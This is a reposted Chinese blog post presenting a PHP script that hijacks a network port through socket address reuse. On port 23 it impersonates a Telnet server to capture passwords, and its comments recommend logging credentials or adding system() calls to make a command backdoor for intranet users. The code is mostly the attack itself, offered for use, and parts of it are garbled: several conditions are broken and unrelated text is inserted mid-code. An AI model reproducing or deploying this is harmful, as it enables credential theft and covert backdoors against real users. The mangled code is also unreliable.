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PHP下实现端口复用/劫持

WBOY
Release: 2016-06-13 10:31:31
Original
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假如监听127.0.0.1 ,访问共网IP不受影响,假如监听公网IP,127。0。0。1等IP不受影响。
这个可以用于欺骗用户密码,因为原来的服务不可用了。或者留成针对内网用户的后门。
最后欢迎加MSN:CQXY[AT]21CN。NET赐教。
#!/usr/bin/php(做为现在的主流开发语言) -q
#c0dz by Darkness[BST]
#Team:www.bugkidz.org
#E-mail:cqxy[at]21cn.net
if ($argc != 3 || in_array($argc[1] , array(--help,-h,?)))
{
echo "Use:#./$argv[0] www.bugkidz.org 192.168.0.1 21 ";
echo "c0dz By Darkness[BST]";
exit;
}
error_reporting(E_ALL);

set_time_limit(0);

ob_implicit_flush();

$host = $argv[1];
$port = $argv[2];
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) echo "socket_create() failed: reason: " . socket_strerror($sock) . " ";
} /*建立SOCKET*/
socket_set_option($sock,SOL_SOCKET,SO_REUSEADDR,1); /*设置SOCKET连接的属性为SO_REUSEADDR,这样才可以端口复用*/
if (($ret = socket_bind($sock, $host, $port)) echo "socket_bind() failed: reason: " . socket_strerror($ret) . " ";
}/*绑定端口*/

if (($ret = socket_listen($sock, 5)) echo "socket_listen() failed: reason: " . socket_strerror($ret) . " ";
} /*开始监听*/


while(true) {

if (($sniffer = socket_accept($sock)) echo "socket_accept() failed: reason: " . socket_strerror($sniffer) . " ";
break;
}
if ($port == 23)
{
$txt = "Welcome to the Telnet Server ";
$txt .="User: ";
socket_write($sniffer, $txt, strlen($txt));
} /*这里是伪装信息,把自己伪装成原来的TELNET服务器,这样来骗取密码*/

while(true) {

if(($buf _read($sniffer">=@socket_read($sniffer, 2048, php(做为现在的主流开发语言)_BINARY_READ)) ==false)
{

break;

}

if (!$buf = trim($buf)) {
continue;
}


if ($buf == !quit) {
break;
}
if ($buf == !shutdown) {
socket_close($sniffer);
break 2; /*其实这里可以调用system(),搞成一个CMD后门,反正你想怎么改都可以*/
}

$sniff_data = "$buf ";

/* else socket_write($sniffer, $sniff_data, strlen($sniff_data));*/
echo $sniff_data;
/*输出字符串,这里可以加进文件处理,保存密码什么的*/
}
socket_close($sniffer);


}
socket_close($resock);
socket_close($sock);
?>

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